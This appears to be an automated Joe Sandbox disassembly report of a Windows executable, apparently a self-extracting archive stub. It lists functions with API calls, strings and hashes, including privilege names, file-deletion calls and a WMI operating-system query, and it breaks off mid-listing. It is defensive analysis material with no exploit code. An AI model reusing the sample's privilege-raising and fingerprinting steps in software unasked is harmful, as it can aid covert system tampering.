Opcode ID: b828f3a9a0466a0388dff7ac73f455106a0100cd7f2385f9d1b19c82c3f2e61e
Instruction ID: 17a59cb8f3d67f4c178fd554824dccfc59ace014148864e6cfe86bf3414403f9
Opcode Fuzzy Hash: b828f3a9a0466a0388dff7ac73f455106a0100cd7f2385f9d1b19c82c3f2e61e
Instruction Fuzzy Hash: EB3118B5D053189BDB20DFA4D989BCDBBB8EF08304F1041AAE509AB250EB715A848F65

Function 00D27AAF Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 337fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D27AB4
_wcslen.LIBCMT ref: 00D27B1D
_wcslen.LIBCMT ref: 00D27B8E

Part of subcall function 00D28704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D28713
Part of subcall function 00D28704: GetLastError.KERNEL32 ref: 00D28759
Part of subcall function 00D28704: CloseHandle.KERNEL32(?), ref: 00D28768

Part of subcall function 00D2B470: DeleteFileW.KERNELBASE(?,00000000,?,00D2A438,?,?,?,?,00D2892B,?,?,?,00D5380F,000000FF), ref: 00D2B481
Part of subcall function 00D2B470: DeleteFileW.KERNEL32(?,?,?,00000800,?,00D2A438,?,?,?,?,00D2892B,?,?,?,00D5380F,000000FF), ref: 00D2B4AF

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00D27C43
CloseHandle.KERNEL32(00000000), ref: 00D27C5F
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00D27DAB

Part of subcall function 00D2B032: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00D27ED0,?,?,?,00000000), ref: 00D2B04C
Part of subcall function 00D2B032: SetFileTime.KERNELBASE(?,?,?,?), ref: 00D2B100

Part of subcall function 00D2A880: CloseHandle.KERNELBASE(000000FF,?,?,00D2A83D,?,?,?,?,?,00D5380F,000000FF), ref: 00D2A89B

Part of subcall function 00D2B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B8FA
Part of subcall function 00D2B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B92B

Strings

\??\, xrefs: 00D27B35
SeCreateSymbolicLinkPrivilege, xrefs: 00D27AD6
SeRestorePrivilege, xrefs: 00D27ACC
UNC\, xrefs: 00D27B5B

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: c08fbd7213c8b9dd83d4eb210db27d45d2f8fe340c43bf26804b60bf0f6b4ac8
Instruction ID: 2d867a0dec299372075c8f02cbc8365b936fa59e4097b59fea164cb9d272a3eb
Opcode Fuzzy Hash: c08fbd7213c8b9dd83d4eb210db27d45d2f8fe340c43bf26804b60bf0f6b4ac8
Instruction Fuzzy Hash: BBC1E471904229ABDB21DB74DC81FEEB7ACEF14318F04415AF945E7282D770AA84CBB1

Function 00D2F608 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D2F62E

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

Part of subcall function 00D330F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00D63070,00000200,00D2EC48,00000000,?,00000050,00D63070), ref: 00D33112

_strlen.LIBCMT ref: 00D2F64F
SetDlgItemTextW.USER32(?,00D60274,?), ref: 00D2F6AF
GetWindowRect.USER32(?,?), ref: 00D2F6E9
GetClientRect.USER32(?,?), ref: 00D2F6F5
GetWindowLongW.USER32(?,000000F0), ref: 00D2F795
GetWindowRect.USER32(?,?), ref: 00D2F7C2
SetWindowTextW.USER32(?,?), ref: 00D2F7FB
GetSystemMetrics.USER32(00000008), ref: 00D2F803
GetWindow.USER32(?,00000005), ref: 00D2F80E
GetWindowRect.USER32(00000000,?), ref: 00D2F83B
GetWindow.USER32(00000000,00000002), ref: 00D2F8AD

Strings

CAPTION, xrefs: 00D2F7DD
d, xrefs: 00D2F715
$%s:, xrefs: 00D2F622

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 3cb4a4aedf9f208cb5b1bf89447979cd935c9ae71f83542caed5c83dfdb9d2d9
Instruction ID: e78f38a074d8ba26a834e898cc6f70d1977bf858b0f014e10d8465c7bffe8bb5
Opcode Fuzzy Hash: 3cb4a4aedf9f208cb5b1bf89447979cd935c9ae71f83542caed5c83dfdb9d2d9
Instruction Fuzzy Hash: 49817172108311AFD710DF68DD89B6FBBF9EB88718F04092DF985D7255D670E8098B62

Function 00D4DCE2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D4DD26

Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D8DE
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D8F0
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D902
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D914
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D926
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D938
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D94A
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D95C
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D96E
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D980
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D992
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D9A4
Part of subcall function 00D4D8C1: _free.LIBCMT ref: 00D4D9B6

_free.LIBCMT ref: 00D4DD1B

Part of subcall function 00D4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?), ref: 00D4A680
Part of subcall function 00D4A66A: GetLastError.KERNEL32(?,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?,?), ref: 00D4A692

_free.LIBCMT ref: 00D4DD3D
_free.LIBCMT ref: 00D4DD52
_free.LIBCMT ref: 00D4DD5D
_free.LIBCMT ref: 00D4DD7F
_free.LIBCMT ref: 00D4DD92
_free.LIBCMT ref: 00D4DDA0
_free.LIBCMT ref: 00D4DDAB
_free.LIBCMT ref: 00D4DDE3
_free.LIBCMT ref: 00D4DDEA
_free.LIBCMT ref: 00D4DE07
_free.LIBCMT ref: 00D4DE1F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 42dda2de083c985d4f368e13153dce7266a9b8373f1c5bc357b9267a920e0532
Instruction ID: cdcaf7a8d12db22025344c3105107688c827415ca4a5ce0835f9debc57d6a64e
Opcode Fuzzy Hash: 42dda2de083c985d4f368e13153dce7266a9b8373f1c5bc357b9267a920e0532
Instruction Fuzzy Hash: 20314731A047049FEB21AB38D845B5AB3EAFF10710F5D482AF489DB191DB31AC90CB75

Function 00D3A6D1 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D3A6F6
_wcslen.LIBCMT ref: 00D3A796
GlobalAlloc.KERNEL32(00000040,?), ref: 00D3A7A5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00D3A7C6
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00D3A7ED

Strings

</html>, xrefs: 00D3A777
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00D3A720
utf-8"></head>, xrefs: 00D3A72B
<html>, xrefs: 00D3A715, 00D3A74E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 0d2be080d8c08b8981e9ee9164222d07cd42527ba2ef2178396d99000b168bff
Instruction ID: d5bcd8e742cde6711094456bb45db65225a07f21f35950d7c73fdd0803377d0b
Opcode Fuzzy Hash: 0d2be080d8c08b8981e9ee9164222d07cd42527ba2ef2178396d99000b168bff
Instruction Fuzzy Hash: 043146722043517FE716AB78AC86F6FB7A8EF41321F18011EF841961D1EFA4D94983B6

Function 00D3E7EE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00D3E811
GetClassNameW.USER32(00000000,?,00000800), ref: 00D3E83D

Part of subcall function 00D33316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00D2D523,00000000,.exe,?,?,00000800,?,?,?,00D39E5C), ref: 00D3332C

GetWindowLongW.USER32(00000000,000000F0), ref: 00D3E859
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00D3E870
GetObjectW.GDI32(00000000,00000018,?), ref: 00D3E884
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00D3E8AD
DeleteObject.GDI32(00000000), ref: 00D3E8B4
GetWindow.USER32(00000000,00000002), ref: 00D3E8BD

Strings

STATIC, xrefs: 00D3E843

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: e9dda23039cff05a990122ea374c4edf9dde6aca881fc810006cbb269f2facdb
Instruction ID: 42e2a5a5f52f9d1ec9b4acab50c4f763ff24b9189365a955279ddbb6ba739dea
Opcode Fuzzy Hash: e9dda23039cff05a990122ea374c4edf9dde6aca881fc810006cbb269f2facdb
Instruction Fuzzy Hash: 9711E132941B117BE6206B60EC4EFAF3B9DEF94711F040131FA41E52DADBA4890587B5

Function 00D4A421 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4A435

Part of subcall function 00D4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?), ref: 00D4A680
Part of subcall function 00D4A66A: GetLastError.KERNEL32(?,?,00D4DA56,?,00000000,?,00000000,?,00D4DA7D,?,00000007,?,?,00D4DE7A,?,?), ref: 00D4A692

_free.LIBCMT ref: 00D4A441
_free.LIBCMT ref: 00D4A44C
_free.LIBCMT ref: 00D4A457
_free.LIBCMT ref: 00D4A462
_free.LIBCMT ref: 00D4A46D
_free.LIBCMT ref: 00D4A478
_free.LIBCMT ref: 00D4A483
_free.LIBCMT ref: 00D4A48E
_free.LIBCMT ref: 00D4A49C

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bc56bb6b84d8730a6de02d84afa1933e0768c38637507490544a4ab510f63c3d
Instruction ID: 69334909f25708be9f9e34068a8b0ef9ef1dda267f8e0e51ae24417c7b65d81a
Opcode Fuzzy Hash: bc56bb6b84d8730a6de02d84afa1933e0768c38637507490544a4ab510f63c3d
Instruction Fuzzy Hash: 8C11A776150508AFCB01EF58C852CD93BB5EF14750F9A81A5FA084B222D631DE619B71

Function 00D43FC1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D440E0
___TypeMatch.LIBVCRUNTIME ref: 00D441EE
_UnwindNestedFrames.LIBCMT ref: 00D44340
CallUnexpected.LIBVCRUNTIME ref: 00D4435B
_abort.LIBCMT ref: 00D44360

Strings

csm, xrefs: 00D44117
csm, xrefs: 00D4406B
csm, xrefs: 00D43FFE

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: d5845b32e63ca0ea7d45fbad4c257a19570550dbb8e59a84a0880e9d05a39565
Instruction ID: 09dcee4db39c238045fae26d880d8f2e613b241c5a179866c67f6786f40bae6c
Opcode Fuzzy Hash: d5845b32e63ca0ea7d45fbad4c257a19570550dbb8e59a84a0880e9d05a39565
Instruction Fuzzy Hash: 63B16C7580020AEFCF25DFA8C881AAEBBB5FF14310F19415AF8156B212D771DA91CBB5

Function 00D3C7B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D212F6: GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
Part of subcall function 00D212F6: SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

EndDialog.USER32(?,00000001), ref: 00D3C800
SendMessageW.USER32(?,00000080,00000001,?), ref: 00D3C827
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00D3C840
SetWindowTextW.USER32(?,?), ref: 00D3C851
GetDlgItem.USER32(?,00000065), ref: 00D3C85A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00D3C86E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00D3C884

Strings

LICENSEDLG, xrefs: 00D3C7C4

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 78211feb9354d940a1dd6b2ac402948aff563976ff78dcabc81a2aa65ac440d9
Instruction ID: db2afd95b0265f103931c5fbcf591a6ee4119759c0ca72cab89236ad72784ac2
Opcode Fuzzy Hash: 78211feb9354d940a1dd6b2ac402948aff563976ff78dcabc81a2aa65ac440d9
Instruction Fuzzy Hash: F621E0762B0311BBD6115F69FC8DF7B7BACEB4AB85F044015F600F22A4CB6299019B71

Function 00D2B5D6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D2B5E2

Part of subcall function 00D32701: GetSystemTime.KERNEL32(?), ref: 00D3270F
Part of subcall function 00D32701: SystemTimeToFileTime.KERNEL32(?,?), ref: 00D3271D

Part of subcall function 00D326AA: __aulldiv.LIBCMT ref: 00D326B3

__aulldiv.LIBCMT ref: 00D2B60E
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00D2B615
_swprintf.LIBCMT ref: 00D2B640

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

_wcslen.LIBCMT ref: 00D2B64A
_swprintf.LIBCMT ref: 00D2B6A0
_wcslen.LIBCMT ref: 00D2B6AA

Strings

%u.%03u, xrefs: 00D2B630, 00D2B694

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Time_wcslen$System__aulldiv_swprintf$CurrentFileProcess__vswprintf_c_l
String ID: %u.%03u
API String ID: 2956649372-1114938957
Opcode ID: b9898e8cb197422c0a40a34503f5327835454e1947fb17bf9509a5b69b2a9df9
Instruction ID: d2c249a56e502d4ec246e86ddbb18bf04300d7a0c02465554efd518fbc0646be
Opcode Fuzzy Hash: b9898e8cb197422c0a40a34503f5327835454e1947fb17bf9509a5b69b2a9df9
Instruction Fuzzy Hash: 8821D6B2A083005FD610EF64DC86D6B77ECEFD4315F00492AF945E7241DA30D9088BB2

Function 00D3BC2B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00D3BC3F
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D3BC50
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D3BC5E
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D3BC6C
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D3BC87
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00D3BCAE
_swprintf.LIBCMT ref: 00D3BCD4

Strings

%s %s, xrefs: 00D3BCC9

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific_swprintf
String ID: %s %s
API String ID: 385609497-2939940506
Opcode ID: c2d45f56c144f0da2e954626a9c27bd8f54a9812ac3f1bc167cf9b38f2e3d064
Instruction ID: 4f7fe1884066fb0f5fb6a761f5a6fe9564bce529a4b4e522d181c1e7853c373a
Opcode Fuzzy Hash: c2d45f56c144f0da2e954626a9c27bd8f54a9812ac3f1bc167cf9b38f2e3d064
Instruction Fuzzy Hash: C321C3B254125CABDB21DFA0EC45EEF3BACFF19309F140426FE09D2111E6209A898B71

Function 00D40ED0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00D2C43F,00D2C441,00000000,00000000,7731757A,00000001,00000000,00000000,00D2C32C,?,?,?,00D2C43F,ROOT\CIMV2), ref: 00D40F59
MultiByteToWideChar.KERNEL32(00000000,00000000,00D2C43F,?,00000000,00000000,?,?,?,?,?,00D2C43F), ref: 00D40FD4
SysAllocString.OLEAUT32(00000000), ref: 00D40FDF
_com_issue_error.COMSUPP ref: 00D41008
_com_issue_error.COMSUPP ref: 00D41012
GetLastError.KERNEL32(80070057,7731757A,00000001,00000000,00000000,00D2C32C,?,?,?,00D2C43F,ROOT\CIMV2), ref: 00D41017
_com_issue_error.COMSUPP ref: 00D4102A
GetLastError.KERNEL32(00000000,?,00D2C43F,ROOT\CIMV2), ref: 00D41040
_com_issue_error.COMSUPP ref: 00D41053

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 075a577d11debdfffb31ab6f28a1106025f9c71792c5ea23c02b3a20bdd3a73c
Instruction ID: f0827fa87cdee1ef683293fa2b3ae775b033c61b0b6a4a2e432fb9b53122ca29
Opcode Fuzzy Hash: 075a577d11debdfffb31ab6f28a1106025f9c71792c5ea23c02b3a20bdd3a73c
Instruction Fuzzy Hash: 1941F475A00315AFDB10DF68DC45BAEBBA8EF48711F14422AF905E7380DB75A8848BB5

Function 00D2C3F7 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D2C3FC

Strings

SELECT * FROM Win32_OperatingSystem, xrefs: 00D2C49D
Name, xrefs: 00D2C583
WQL, xrefs: 00D2C4AF
Windows 10, xrefs: 00D2C595
ROOT\CIMV2, xrefs: 00D2C42F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
